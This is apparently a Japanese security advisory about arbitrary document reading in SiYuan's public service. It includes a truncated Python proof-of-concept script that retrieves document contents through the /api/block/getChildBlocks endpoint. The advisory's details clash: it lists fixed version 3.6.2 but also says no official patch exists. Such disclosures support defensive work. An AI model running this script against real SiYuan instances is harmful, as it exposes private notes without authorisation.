SiYuanの公開サービスにおける任意のドキュメント読み取り
プラットフォーム
go
コンポーネント
github.com/siyuan-note/siyuan/kernel
修正バージョン
3.6.2
### 詳細 ドキュメントIDは/api/file/readDirインターフェースを介して取得され、/api/block/getChildBlocksインターフェースを使用してすべてのドキュメントのコンテンツを表示するために使用されました。 ### PoC ```python #!/usr/bin/env python3 """SiYuan /api/block/getChildBlocks ドキュメント内容読み取り""" import requests import json import sys def get_child_blocks(target_url, doc_id): """ SiYuanの/api/block/getChildBlocks APIを呼び出してドキュメントの内容を取得します """ url = f"{target_url.rstrip('/')}/api/block/getChildBlocks" headers = { "Content-Type": "application/json" } data = { "id": doc_id } try: response = requests.post(url, json=data, headers=headers, timeout=10) response.raise_for_status() result = response.json() if result.get("code") != 0: print(f"[-] リクエスト失敗: {result.get('msg', '未知のエラー')}") return None return result.get("data") except requests.exceptions.RequestException as e: print(f"[-] ネットワークリクエスト失敗: {e}") return None except json.JSONDecodeError as e: print(f"[-] JSON解析失敗: {e}") return None def format_block_content(block): """ブロック内容のフォーマット"""
修正方法
公式パッチはありません。回避策を確認するか、アップデートを監視してください。